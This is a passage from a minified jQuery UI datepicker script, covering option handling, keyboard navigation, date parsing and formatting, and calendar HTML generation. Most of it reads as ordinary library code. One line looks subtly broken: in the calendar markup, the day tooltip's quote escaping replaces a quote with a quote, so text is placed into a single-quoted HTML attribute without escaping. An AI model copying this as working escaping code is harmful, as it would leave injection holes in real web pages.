e)return"defaults"===e?V.extend({},V.datepicker._defaults):o?"all"===e?V.extend({},o.settings):this._get(o,e):null;s=e||{},"string"==typeof e&&((s={})[e]=i),o&&(this._curInst===o&&this._hideDatepicker(),n=this._getDateDatepicker(t,!0),e=this._getMinMaxDate(o,"min"),i=this._getMinMaxDate(o,"max"),at(o.settings,s),null!==e&&void 0!==s.dateFormat&&void 0===s.minDate&&(o.settings.minDate=this._formatDate(o,e)),null!==i&&void 0!==s.dateFormat&&void 0===s.maxDate&&(o.settings.maxDate=this._formatDate(o,i)),"disabled"in s&&(s.disabled?this._disableDatepicker(t):this._enableDatepicker(t)),this._attachments(V(t),o),this._autoSize(o),this._setDate(o,n),this._updateAlternate(o),this._updateDatepicker(o))},_changeDatepicker:function(t,e,i){this._optionDatepicker(t,e,i)},_refreshDatepicker:function(t){t=this._getInst(t);t&&this._updateDatepicker(t)},_setDateDatepicker:function(t,e){t=this._getInst(t);t&&(this._setDate(t,e),this._updateDatepicker(t),this._updateAlternate(t))},_getDateDatepicker:function(t,e){t=this._getInst(t);return t&&!t.inline&&this._setDateFromField(t,e),t?this._getDate(t):null},_doKeyDown:function(t){var e,i,s=V.datepicker._getInst(t.target),n=!0,o=s.dpDiv.is(".ui-datepicker-rtl");if(s._keyEvent=!0,V.datepicker._datepickerShowing)switch(t.keyCode){case 9:V.datepicker._hideDatepicker(),n=!1;break;case 13:return(i=V("td."+V.datepicker._dayOverClass+":not(."+V.datepicker._currentClass+")",s.dpDiv))[0]&&V.datepicker._selectDay(t.target,s.selectedMonth,s.selectedYear,i[0]),(e=V.datepicker._get(s,"onSelect"))?(i=V.datepicker._formatDate(s),e.apply(s.input?s.input[0]:null,[i,s])):V.datepicker._hideDatepicker(),!1;case 27:V.datepicker._hideDatepicker();break;case 33:V.datepicker._adjustDate(t.target,t.ctrlKey?-V.datepicker._get(s,"stepBigMonths"):-V.datepicker._get(s,"stepMonths"),"M");break;case 34:V.datepicker._adjustDate(t.target,t.ctrlKey?+V.datepicker._get(s,"stepBigMonths"):+V.datepicker._get(s,"stepMonths"),"M");break;case 35:(t.ctrlKey||t.metaKey)&&V.datepicker._clearDate(t.target),n=t.ctrlKey||t.metaKey;break;case 36:(t.ctrlKey||t.metaKey)&&V.datepicker._gotoToday(t.target),n=t.ctrlKey||t.metaKey;break;case 37:(t.ctrlKey||t.metaKey)&&V.datepicker._adjustDate(t.target,o?1:-1,"D"),n=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&V.datepicker._adjustDate(t.target,t.ctrlKey?-V.datepicker._get(s,"stepBigMonths"):-V.datepicker._get(s,"stepMonths"),"M");break;case 38:(t.ctrlKey||t.metaKey)&&V.datepicker._adjustDate(t.target,-7,"D"),n=t.ctrlKey||t.metaKey;break;case 39:(t.ctrlKey||t.metaKey)&&V.datepicker._adjustDate(t.target,o?-1:1,"D"),n=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&V.datepicker._adjustDate(t.target,t.ctrlKey?+V.datepicker._get(s,"stepBigMonths"):+V.datepicker._get(s,"stepMonths"),"M");break;case 40:(t.ctrlKey||t.metaKey)&&V.datepicker._adjustDate(t.target,7,"D"),n=t.ctrlKey||t.metaKey;break;default:n=!1}else 36===t.keyCode&&t.ctrlKey?V.datepicker._showDatepicker(this):n=!1;n&&(t.preventDefault(),t.stopPropagation())},_doKeyPress:function(t){var e,i=V.datepicker._getInst(t.target);if(V.datepicker._get(i,"constrainInput"))return e=V.datepicker._possibleChars(V.datepicker._get(i,"dateFormat")),i=String.fromCharCode(null==t.charCode?t.keyCode:t.charCode),t.ctrlKey||t.metaKey||i<" "||!e||-1<e.indexOf(i)},_doKeyUp:function(t){t=V.datepicker._getInst(t.target);if(t.input.val()!==t.lastVal)try{V.datepicker.parseDate(V.datepicker._get(t,"dateFormat"),t.input?t.input.val():null,V.datepicker._getFormatConfig(t))&&(V.datepicker._setDateFromField(t),V.datepicker._updateAlternate(t),V.datepicker._updateDatepicker(t))}catch(t){}return!0},_showDatepicker:function(t){var e,i,s,n;"input"!==(t=t.target||t).nodeName.toLowerCase()&&(t=V("input",t.parentNode)[0]),V.datepicker._isDisabledDatepicker(t)||V.datepicker._lastInput===t||(n=V.datepicker._getInst(t),V.datepicker._curInst&&V.datepicker._curInst!==n&&(V.datepicker._curInst.dpDiv.stop(!0,!0),n&&V.datepicker._datepickerShowing&&V.datepicker._hideDatepicker(V.datepicker._curInst.input[0])),!1!==(i=(s=V.datepicker._get(n,"beforeShow"))?s.apply(t,[t,n]):{})&&(at(n.settings,i),n.lastVal=null,V.datepicker._lastInput=t,V.datepicker._setDateFromField(n),V.datepicker._inDialog&&(t.value=""),V.datepicker._pos||(V.datepicker._pos=V.datepicker._findPos(t),V.datepicker._pos[1]+=t.offsetHeight),e=!1,V(t).parents().each(function(){return!(e|="fixed"===V(this).css("position"))}),s={left:V.datepicker._pos[0],top:V.datepicker._pos[1]},V.datepicker._pos=null,n.dpDiv.empty(),n.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),V.datepicker._updateDatepicker(n),s=V.datepicker._checkOffset(n,s,e),n.dpDiv.css({position:V.datepicker._inDialog&&V.blockUI?"static":e?"fixed":"absolute",display:"none",left:s.left+"px",top:s.top+"px"}),n.inline||(i=V.datepicker._get(n,"showAnim"),s=V.datepicker._get(n,"duration"),n.dpDiv.css("z-index",function(t){for(var e,i;t.length&&t[0]!==document;){if(("absolute"===(e=t.css("position"))||"relative"===e||"fixed"===e)&&(i=parseInt(t.css("zIndex"),10),!isNaN(i)&&0!==i))return i;t=t.parent()}return 0}(V(t))+1),V.datepicker._datepickerShowing=!0,V.effects&&V.effects.effect[i]?n.dpDiv.show(i,V.datepicker._get(n,"showOptions"),s):n.dpDiv[i||"show"](i?s:null),V.datepicker._shouldFocusInput(n)&&n.input.trigger("focus"),V.datepicker._curInst=n)))},_updateDatepicker:function(t){this.maxRows=4,(it=t).dpDiv.empty().append(this._generateHTML(t)),this._attachHandlers(t);var e,i=this._getNumberOfMonths(t),s=i[1],n=t.dpDiv.find("."+this._dayOverClass+" a"),o=V.datepicker._get(t,"onUpdateDatepicker");0<n.length&&ot.apply(n.get(0)),t.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),1<s&&t.dpDiv.addClass("ui-datepicker-multi-"+s).css("width",17*s+"em"),t.dpDiv[(1!==i[0]||1!==i[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),t.dpDiv[(this._get(t,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),t===V.datepicker._curInst&&V.datepicker._datepickerShowing&&V.datepicker._shouldFocusInput(t)&&t.input.trigger("focus"),t.yearshtml&&(e=t.yearshtml,setTimeout(function(){e===t.yearshtml&&t.yearshtml&&t.dpDiv.find("select.ui-datepicker-year").first().replaceWith(t.yearshtml),e=t.yearshtml=null},0)),o&&o.apply(t.input?t.input[0]:null,[t])},_shouldFocusInput:function(t){return t.input&&t.input.is(":visible")&&!t.input.is(":disabled")&&!t.input.is(":focus")},_checkOffset:function(t,e,i){var s=t.dpDiv.outerWidth(),n=t.dpDiv.outerHeight(),o=t.input?t.input.outerWidth():0,a=t.input?t.input.outerHeight():0,r=document.documentElement.clientWidth+(i?0:V(document).scrollLeft()),l=document.documentElement.clientHeight+(i?0:V(document).scrollTop());return e.left-=this._get(t,"isRTL")?s-o:0,e.left-=i&&e.left===t.input.offset().left?V(document).scrollLeft():0,e.top-=i&&e.top===t.input.offset().top+a?V(document).scrollTop():0,e.left-=Math.min(e.left,e.left+s>r&&s<r?Math.abs(e.left+s-r):0),e.top-=Math.min(e.top,e.top+n>l&&n<l?Math.abs(n+a):0),e},_findPos:function(t){for(var e=this._getInst(t),i=this._get(e,"isRTL");t&&("hidden"===t.type||1!==t.nodeType||V.expr.pseudos.hidden(t));)t=t[i?"previousSibling":"nextSibling"];return[(e=V(t).offset()).left,e.top]},_hideDatepicker:function(t){var e,i,s=this._curInst;!s||t&&s!==V.data(t,"datepicker")||this._datepickerShowing&&(e=this._get(s,"showAnim"),i=this._get(s,"duration"),t=function(){V.datepicker._tidyDialog(s)},V.effects&&(V.effects.effect[e]||V.effects[e])?s.dpDiv.hide(e,V.datepicker._get(s,"showOptions"),i,t):s.dpDiv["slideDown"===e?"slideUp":"fadeIn"===e?"fadeOut":"hide"](e?i:null,t),e||t(),this._datepickerShowing=!1,(t=this._get(s,"onClose"))&&t.apply(s.input?s.input[0]:null,[s.input?s.input.val():"",s]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),V.blockUI&&(V.unblockUI(),V("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(t){t.dpDiv.removeClass(this._dialogClass).off(".ui-datepicker-calendar")},_checkExternalClick:function(t){var e;V.datepicker._curInst&&(e=V(t.target),t=V.datepicker._getInst(e[0]),(e[0].id===V.datepicker._mainDivId||0!==e.parents("#"+V.datepicker._mainDivId).length||e.hasClass(V.datepicker.markerClassName)||e.closest("."+V.datepicker._triggerClass).length||!V.datepicker._datepickerShowing||V.datepicker._inDialog&&V.blockUI)&&(!e.hasClass(V.datepicker.markerClassName)||V.datepicker._curInst===t)||V.datepicker._hideDatepicker())},_adjustDate:function(t,e,i){var s=V(t),t=this._getInst(s[0]);this._isDisabledDatepicker(s[0])||(this._adjustInstDate(t,e,i),this._updateDatepicker(t))},_gotoToday:function(t){var e=V(t),i=this._getInst(e[0]);this._get(i,"gotoCurrent")&&i.currentDay?(i.selectedDay=i.currentDay,i.drawMonth=i.selectedMonth=i.currentMonth,i.drawYear=i.selectedYear=i.currentYear):(t=new Date,i.selectedDay=t.getDate(),i.drawMonth=i.selectedMonth=t.getMonth(),i.drawYear=i.selectedYear=t.getFullYear()),this._notifyChange(i),this._adjustDate(e)},_selectMonthYear:function(t,e,i){var s=V(t),t=this._getInst(s[0]);t["selected"+("M"===i?"Month":"Year")]=t["draw"+("M"===i?"Month":"Year")]=parseInt(e.options[e.selectedIndex].value,10),this._notifyChange(t),this._adjustDate(s)},_selectDay:function(t,e,i,s){var n=V(t);V(s).hasClass(this._unselectableClass)||this._isDisabledDatepicker(n[0])||((n=this._getInst(n[0])).selectedDay=n.currentDay=parseInt(V("a",s).attr("data-date")),n.selectedMonth=n.currentMonth=e,n.selectedYear=n.currentYear=i,this._selectDate(t,this._formatDate(n,n.currentDay,n.currentMonth,n.currentYear)))},_clearDate:function(t){t=V(t);this._selectDate(t,"")},_selectDate:function(t,e){var i=V(t),t=this._getInst(i[0]);e=null!=e?e:this._formatDate(t),t.input&&t.input.val(e),this._updateAlternate(t),(i=this._get(t,"onSelect"))?i.apply(t.input?t.input[0]:null,[e,t]):t.input&&t.input.trigger("change"),t.inline?this._updateDatepicker(t):(this._hideDatepicker(),this._lastInput=t.input[0],"object"!=typeof t.input[0]&&t.input.trigger("focus"),this._lastInput=null)},_updateAlternate:function(t){var e,i,s=this._get(t,"altField");s&&(e=this._get(t,"altFormat")||this._get(t,"dateFormat"),i=this._getDate(t),t=this.formatDate(e,i,this._getFormatConfig(t)),V(document).find(s).val(t))},noWeekends:function(t){t=t.getDay();return[0<t&&t<6,""]},iso8601Week:function(t){var e=new Date(t.getTime());return e.setDate(e.getDate()+4-(e.getDay()||7)),t=e.getTime(),e.setMonth(0),e.setDate(1),Math.floor(Math.round((t-e)/864e5)/7)+1},parseDate:function(e,n,t){if(null==e||null==n)throw"Invalid arguments";if(""===(n="object"==typeof n?n.toString():n+""))return null;for(var i,s,o,a=0,r=(t?t.shortYearCutoff:null)||this._defaults.shortYearCutoff,r="string"!=typeof r?r:(new Date).getFullYear()%100+parseInt(r,10),l=(t?t.dayNamesShort:null)||this._defaults.dayNamesShort,h=(t?t.dayNames:null)||this._defaults.dayNames,c=(t?t.monthNamesShort:null)||this._defaults.monthNamesShort,u=(t?t.monthNames:null)||this._defaults.monthNames,d=-1,p=-1,f=-1,g=-1,m=!1,_=function(t){t=w+1<e.length&&e.charAt(w+1)===t;return t&&w++,t},v=function(t){var e=_(t),e="@"===t?14:"!"===t?20:"y"===t&&e?4:"o"===t?3:2,e=new RegExp("^\\d{"+("y"===t?e:1)+","+e+"}"),e=n.substring(a).match(e);if(!e)throw"Missing number at position "+a;return a+=e[0].length,parseInt(e[0],10)},b=function(t,e,i){var s=-1,e=V.map(_(t)?i:e,function(t,e){return[[e,t]]}).sort(function(t,e){return-(t[1].length-e[1].length)});if(V.each(e,function(t,e){var i=e[1];if(n.substr(a,i.length).toLowerCase()===i.toLowerCase())return s=e[0],a+=i.length,!1}),-1!==s)return s+1;throw"Unknown name at position "+a},y=function(){if(n.charAt(a)!==e.charAt(w))throw"Unexpected literal at position "+a;a++},w=0;w<e.length;w++)if(m)"'"!==e.charAt(w)||_("'")?y():m=!1;else switch(e.charAt(w)){case"d":f=v("d");break;case"D":b("D",l,h);break;case"o":g=v("o");break;case"m":p=v("m");break;case"M":p=b("M",c,u);break;case"y":d=v("y");break;case"@":d=(o=new Date(v("@"))).getFullYear(),p=o.getMonth()+1,f=o.getDate();break;case"!":d=(o=new Date((v("!")-this._ticksTo1970)/1e4)).getFullYear(),p=o.getMonth()+1,f=o.getDate();break;case"'":_("'")?y():m=!0;break;default:y()}if(a<n.length&&(s=n.substr(a),!/^\s+/.test(s)))throw"Extra/unparsed characters found in date: "+s;if(-1===d?d=(new Date).getFullYear():d<100&&(d+=(new Date).getFullYear()-(new Date).getFullYear()%100+(d<=r?0:-100)),-1<g)for(p=1,f=g;;){if(f<=(i=this._getDaysInMonth(d,p-1)))break;p++,f-=i}if((o=this._daylightSavingAdjust(new Date(d,p-1,f))).getFullYear()!==d||o.getMonth()+1!==p||o.getDate()!==f)throw"Invalid date";return o},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*60*60*1e7,formatDate:function(e,t,i){if(!t)return"";function s(t,e,i){var s=""+e;if(c(t))for(;s.length<i;)s="0"+s;return s}function n(t,e,i,s){return(c(t)?s:i)[e]}var o,a=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,r=(i?i.dayNames:null)||this._defaults.dayNames,l=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,h=(i?i.monthNames:null)||this._defaults.monthNames,c=function(t){t=o+1<e.length&&e.charAt(o+1)===t;return t&&o++,t},u="",d=!1;if(t)for(o=0;o<e.length;o++)if(d)"'"!==e.charAt(o)||c("'")?u+=e.charAt(o):d=!1;else switch(e.charAt(o)){case"d":u+=s("d",t.getDate(),2);break;case"D":u+=n("D",t.getDay(),a,r);break;case"o":u+=s("o",Math.round((new Date(t.getFullYear(),t.getMonth(),t.getDate()).getTime()-new Date(t.getFullYear(),0,0).getTime())/864e5),3);break;case"m":u+=s("m",t.getMonth()+1,2);break;case"M":u+=n("M",t.getMonth(),l,h);break;case"y":u+=c("y")?t.getFullYear():(t.getFullYear()%100<10?"0":"")+t.getFullYear()%100;break;case"@":u+=t.getTime();break;case"!":u+=1e4*t.getTime()+this._ticksTo1970;break;case"'":c("'")?u+="'":d=!0;break;default:u+=e.charAt(o)}return u},_possibleChars:function(e){for(var t="",i=!1,s=function(t){t=n+1<e.length&&e.charAt(n+1)===t;return t&&n++,t},n=0;n<e.length;n++)if(i)"'"!==e.charAt(n)||s("'")?t+=e.charAt(n):i=!1;else switch(e.charAt(n)){case"d":case"m":case"y":case"@":t+="0123456789";break;case"D":case"M":return null;case"'":s("'")?t+="'":i=!0;break;default:t+=e.charAt(n)}return t},_get:function(t,e){return(void 0!==t.settings[e]?t.settings:this._defaults)[e]},_setDateFromField:function(t,e){if(t.input.val()!==t.lastVal){var i=this._get(t,"dateFormat"),s=t.lastVal=t.input?t.input.val():null,n=this._getDefaultDate(t),o=n,a=this._getFormatConfig(t);try{o=this.parseDate(i,s,a)||n}catch(t){s=e?"":s}t.selectedDay=o.getDate(),t.drawMonth=t.selectedMonth=o.getMonth(),t.drawYear=t.selectedYear=o.getFullYear(),t.currentDay=s?o.getDate():0,t.currentMonth=s?o.getMonth():0,t.currentYear=s?o.getFullYear():0,this._adjustInstDate(t)}},_getDefaultDate:function(t){return this._restrictMinMax(t,this._determineDate(t,this._get(t,"defaultDate"),new Date))},_determineDate:function(r,t,e){var i,s,t=null==t||""===t?e:"string"==typeof t?function(t){try{return V.datepicker.parseDate(V.datepicker._get(r,"dateFormat"),t,V.datepicker._getFormatConfig(r))}catch(t){}for(var e=(t.toLowerCase().match(/^c/)?V.datepicker._getDate(r):null)||new Date,i=e.getFullYear(),s=e.getMonth(),n=e.getDate(),o=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,a=o.exec(t);a;){switch(a[2]||"d"){case"d":case"D":n+=parseInt(a[1],10);break;case"w":case"W":n+=7*parseInt(a[1],10);break;case"m":case"M":s+=parseInt(a[1],10),n=Math.min(n,V.datepicker._getDaysInMonth(i,s));break;case"y":case"Y":i+=parseInt(a[1],10),n=Math.min(n,V.datepicker._getDaysInMonth(i,s))}a=o.exec(t)}return new Date(i,s,n)}(t):"number"==typeof t?isNaN(t)?e:(i=t,(s=new Date).setDate(s.getDate()+i),s):new Date(t.getTime());return(t=t&&"Invalid Date"===t.toString()?e:t)&&(t.setHours(0),t.setMinutes(0),t.setSeconds(0),t.setMilliseconds(0)),this._daylightSavingAdjust(t)},_daylightSavingAdjust:function(t){return t?(t.setHours(12<t.getHours()?t.getHours()+2:0),t):null},_setDate:function(t,e,i){var s=!e,n=t.selectedMonth,o=t.selectedYear,e=this._restrictMinMax(t,this._determineDate(t,e,new Date));t.selectedDay=t.currentDay=e.getDate(),t.drawMonth=t.selectedMonth=t.currentMonth=e.getMonth(),t.drawYear=t.selectedYear=t.currentYear=e.getFullYear(),n===t.selectedMonth&&o===t.selectedYear||i||this._notifyChange(t),this._adjustInstDate(t),t.input&&t.input.val(s?"":this._formatDate(t))},_getDate:function(t){return!t.currentYear||t.input&&""===t.input.val()?null:this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay))},_attachHandlers:function(t){var e=this._get(t,"stepMonths"),i="#"+t.id.replace(/\\\\/g,"\\");t.dpDiv.find("[data-handler]").map(function(){var t={prev:function(){V.datepicker._adjustDate(i,-e,"M")},next:function(){V.datepicker._adjustDate(i,+e,"M")},hide:function(){V.datepicker._hideDatepicker()},today:function(){V.datepicker._gotoToday(i)},selectDay:function(){return V.datepicker._selectDay(i,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return V.datepicker._selectMonthYear(i,this,"M"),!1},selectYear:function(){return V.datepicker._selectMonthYear(i,this,"Y"),!1}};V(this).on(this.getAttribute("data-event"),t[this.getAttribute("data-handler")])})},_generateHTML:function(t){var e,i,s,n,o,a,r,l,h,c,u,d,p,f,g,m,_,v,b,y,w,x,k,C,D,I,T,P,M,S,H,z,A=new Date,O=this._daylightSavingAdjust(new Date(A.getFullYear(),A.getMonth(),A.getDate())),N=this._get(t,"isRTL"),E=this._get(t,"showButtonPanel"),W=this._get(t,"hideIfNoPrevNext"),F=this._get(t,"navigationAsDateFormat"),L=this._getNumberOfMonths(t),R=this._get(t,"showCurrentAtPos"),A=this._get(t,"stepMonths"),Y=1!==L[0]||1!==L[1],B=this._daylightSavingAdjust(t.currentDay?new Date(t.currentYear,t.currentMonth,t.currentDay):new Date(9999,9,9)),j=this._getMinMaxDate(t,"min"),q=this._getMinMaxDate(t,"max"),K=t.drawMonth-R,U=t.drawYear;if(K<0&&(K+=12,U--),q)for(e=this._daylightSavingAdjust(new Date(q.getFullYear(),q.getMonth()-L[0]*L[1]+1,q.getDate())),e=j&&e<j?j:e;this._daylightSavingAdjust(new Date(U,K,1))>e;)--K<0&&(K=11,U--);for(t.drawMonth=K,t.drawYear=U,R=this._get(t,"prevText"),R=F?this.formatDate(R,this._daylightSavingAdjust(new Date(U,K-A,1)),this._getFormatConfig(t)):R,i=this._canAdjustMonth(t,-1,U,K)?V("<a>").attr({class:"ui-datepicker-prev ui-corner-all","data-handler":"prev","data-event":"click",title:R}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(N?"e":"w")).text(R))[0].outerHTML:W?"":V("<a>").attr({class:"ui-datepicker-prev ui-corner-all ui-state-disabled",title:R}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(N?"e":"w")).text(R))[0].outerHTML,R=this._get(t,"nextText"),R=F?this.formatDate(R,this._daylightSavingAdjust(new Date(U,K+A,1)),this._getFormatConfig(t)):R,s=this._canAdjustMonth(t,1,U,K)?V("<a>").attr({class:"ui-datepicker-next ui-corner-all","data-handler":"next","data-event":"click",title:R}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(N?"w":"e")).text(R))[0].outerHTML:W?"":V("<a>").attr({class:"ui-datepicker-next ui-corner-all ui-state-disabled",title:R}).append(V("<span>").attr("class","ui-icon ui-icon-circle-triangle-"+(N?"w":"e")).text(R))[0].outerHTML,A=this._get(t,"currentText"),W=this._get(t,"gotoCurrent")&&t.currentDay?B:O,A=F?this.formatDate(A,W,this._getFormatConfig(t)):A,R="",t.inline||(R=V("<button>").attr({type:"button",class:"ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all","data-handler":"hide","data-event":"click"}).text(this._get(t,"closeText"))[0].outerHTML),F="",E&&(F=V("<div class='ui-datepicker-buttonpane ui-widget-content'>").append(N?R:"").append(this._isInRange(t,W)?V("<button>").attr({type:"button",class:"ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all","data-handler":"today","data-event":"click"}).text(A):"").append(N?"":R)[0].outerHTML),n=parseInt(this._get(t,"firstDay"),10),n=isNaN(n)?0:n,o=this._get(t,"showWeek"),a=this._get(t,"dayNames"),r=this._get(t,"dayNamesMin"),l=this._get(t,"monthNames"),h=this._get(t,"monthNamesShort"),c=this._get(t,"beforeShowDay"),u=this._get(t,"showOtherMonths"),d=this._get(t,"selectOtherMonths"),p=this._getDefaultDate(t),f="",m=0;m<L[0];m++){for(_="",this.maxRows=4,v=0;v<L[1];v++){if(b=this._daylightSavingAdjust(new Date(U,K,t.selectedDay)),y=" ui-corner-all",w="",Y){if(w+="<div class='ui-datepicker-group",1<L[1])switch(v){case 0:w+=" ui-datepicker-group-first",y=" ui-corner-"+(N?"right":"left");break;case L[1]-1:w+=" ui-datepicker-group-last",y=" ui-corner-"+(N?"left":"right");break;default:w+=" ui-datepicker-group-middle",y=""}w+="'>"}for(w+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+y+"'>"+(/all|left/.test(y)&&0===m?N?s:i:"")+(/all|right/.test(y)&&0===m?N?i:s:"")+this._generateMonthYearHeader(t,K,U,j,q,0<m||0<v,l,h)+"</div><table class='ui-datepicker-calendar'><thead><tr>",x=o?"<th class='ui-datepicker-week-col'>"+this._get(t,"weekHeader")+"</th>":"",g=0;g<7;g++)x+="<th scope='col'"+(5<=(g+n+6)%7?" class='ui-datepicker-week-end'":"")+"><span title='"+a[k=(g+n)%7]+"'>"+r[k]+"</span></th>";for(w+=x+"</tr></thead><tbody>",D=this._getDaysInMonth(U,K),U===t.selectedYear&&K===t.selectedMonth&&(t.selectedDay=Math.min(t.selectedDay,D)),C=(this._getFirstDayOfMonth(U,K)-n+7)%7,D=Math.ceil((C+D)/7),I=Y&&this.maxRows>D?this.maxRows:D,this.maxRows=I,T=this._daylightSavingAdjust(new Date(U,K,1-C)),P=0;P<I;P++){for(w+="<tr>",M=o?"<td class='ui-datepicker-week-col'>"+this._get(t,"calculateWeek")(T)+"</td>":"",g=0;g<7;g++)S=c?c.apply(t.input?t.input[0]:null,[T]):[!0,""],z=(H=T.getMonth()!==K)&&!d||!S[0]||j&&T<j||q&&q<T,M+="<td class='"+(5<=(g+n+6)%7?" ui-datepicker-week-end":"")+(H?" ui-datepicker-other-month":"")+(T.getTime()===b.getTime()&&K===t.selectedMonth&&t._keyEvent||p.getTime()===T.getTime()&&p.getTime()===b.getTime()?" "+this._dayOverClass:"")+(z?" "+this._unselectableClass+" ui-state-disabled":"")+(H&&!u?"":" "+S[1]+(T.getTime()===B.getTime()?" "+this._currentClass:"")+(T.getTime()===O.getTime()?" ui-datepicker-today":""))+"'"+(H&&!u||!S[2]?"":" title='"+S[2].replace(/'/g,"'")+"'")+(z?"":" data-handler='selectDay' data-event='click' data-month='"+T.getMonth()+"' data-year='"+T.getFullYear()+"'")+">"+(H&&!u?" ":z?"<span class='ui-state-default'>"+T.getDate()+"</span>":"<a class='ui-state-default"+(T.getTime()===O.getTime()?" ui-state-highlight":"")+(T.getTime()===B.getTime()?" ui-state-active":"")+(H?" ui-priority-secondary":"")+"' href='#' aria-current='"+(T.getTime()===B.getTime()?"true":"false")+"' data-date='"+T.getDate()+"'>"+T.getDate()+"</a>")+"</td>",T.setDate(T.getDate()+1),T=this._daylightSavingAdjust(T);w+=M+"</tr>"}11<++K&&(K=0,U++),_+=w+="</tbody></table>"+(Y?"</div>"+(0<L[0]&&v===L[1]-1?"<div class='ui-datepicker-row-break'></div>":""):"")}f+=_}return f+=F,t._keyEvent=!1,f},_generateMonthYearHeader:function(t,e,i,s,n,o,a,r){var l,h,c,u,d,p,f=this._get(t,"changeMonth"),g=this._get(t,"changeYear"),m=this._get(t,"showMonthAfterYear"),_=this._get(t,"selectMonthLabel"),v=this._get(t,"selectYearLabel"),b="<div class='ui-datepicker-title'>",y="";if(o||!f)y+="<span class='ui-datepicker-month'>"+a[e]+"</span>";else{for(l=s&&s.getFullYear()===i,h=n&&n.getFullYear()===i,y+="<select class='ui-datepicker-month' aria-label='"+_+"' data-handler='selectMonth' data-event='change'>",c=0;c<12;c++)(!l||c>=s.getMonth())&&(!h||c<=n.getMonth())&&(y+="<option value='"+c+"'"+(c===e?" selected='selected'":"")+">"+r[c]+"</option>");y+="</select>"}if(m||(b+=y+(!o&&f&&g?"":" ")),!t.yearshtml)if(t.yearshtml="",o||!g)b+="<span class='ui-datepicker-year'>"+i+"</span>";else{for(a=this._get(t,"yearRange").split(":"),u=(new Date).getFullYear(),d=(_=function(t){t=t.match(/c[+\-].*/)?i+parseInt(t.substring(1),10):t.match(/[+\-].*/)?u+parseInt(t,10):parseInt(t,10);return isNaN(t)?u:t})(a[0]),p=Math.max(d,_(a[1]||"")),d=s?Math.max(d,s.getFullYear()):d,p=n?Math.min(p,n.getFullYear()):p,t.yearshtml+="<select class='ui-datepicker-year' aria-label='"+v+"' data-handler='selectYear' data-event='change'>";d<=p;d++)t.yearshtml+="<option value='"+d+"'"+(d===i?" selected='selected'":"")+">"+d+"</option>";t.yearshtml+="</select>",b+=t.yearshtml,t.yearshtml=null}return b+=this._get(t,"yearSuffix"),m&&(b+=(!o&&f&&g?"":" ")+y),b+="</div>"},_adjustInstDate:function(t,e,i){var s=t.selectedYear+("Y"===i?e:0),n=t.selectedMonth+("M"===i?e:0),e=Math.min(t.selectedDay,this._getDaysInMonth(s,n))+("D"===i?e:0),e=this._restrictMinMax(t,this._daylightSavingAdjust(new Date(s,n,e)));t.selectedDay=e.getDate(),t.drawMonth=t.selectedMonth=e.getMonth(),t.drawYear=t.selectedYear=e.getFullYear(),"M"!==i&&"Y"!==i||this._notifyChange(t)},_restrictMinMax:function(t,e){var i=this._getMinMaxDate(t,"min"),t=this._getMinMaxDate(t,"max"),e=i&&e<i?i:e;return t&&t<e?t:e},_notifyChange:function(t){var e=this._get(t,"onChangeMonthYear");e&&e.apply(t.input?t.input[0]:null,[t.selectedYear,t.selectedMonth+1,t])},_getNumberOfMonths:function(t){t=this._get(t,"numberOfMonths");return null==t?[1,1]:"number"==typeof t?[1,t]:t},_getMinMaxDate:function(t,e){return this._determineDate(t,this._get(t,e+"Date"),null)},_getDaysInMonth:function(t,e){return 32-this._daylightSavingAdjust(new Date(t,e,32)).getDate()},_getFirstDayOfMonth:function(t,e){return new Date(t,e,1).getDay()},_canAdjustMonth:function(t,e,i,s){var n=this._getNumberOfMonths(t),n=this._daylightSavingAdjust(new Date(i,s+(e<0?e:n[0]*n[1]),1));return e<0&&n.setDate(this._getDaysInMonth(n.getFullYear(),n.getMonth())),this._isInRange(t,n)},_isInRange:function(t,e){var i=this._getMinMaxDate(t,"min"),s=this._getMinMaxDate(t,"max"),n=null,o=null,a=this._get(t,"yearRange");return a&&(t=a.split(":"),a=(new Date).getFullYear(),n=parseInt(t[0],10),o=parseInt(t[1],10),t[0].match(/[+\-].*/)&&(n+=a),t[1].match(/[+\-].*/)&&(o+=a)),(!i||e.getTime()>=i.getTime())&&(!s||e.getTime()<=s.getTime())&&(!n||e.getFullYear()>=n)&&(!o||e.getFullYear()<=o)},_getFormatConfig:function(t){var e=this._get(t,"shortYearCutoff");return{shortYearCutoff:e="string"!=typeof e?e:(new Date).getFullYear()%100+parseInt(e,10),dayNamesShort:this._get(t,"dayNamesShort"),dayNames:this._get(t,"dayNames"),monthNamesShort:this._get(t,"monthNamesShort"),monthNames:this._get(t,"monthNames")}},_formatDate:function(t,e,i,s){e||(t.currentDay=t.selectedDay,t.currentMonth=t.selectedMonth,t.currentYear=t.selectedYear);e=e?"object"==typeof e?e:this._daylightSavingAdjust(new Date(s,i,e)):this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay));return 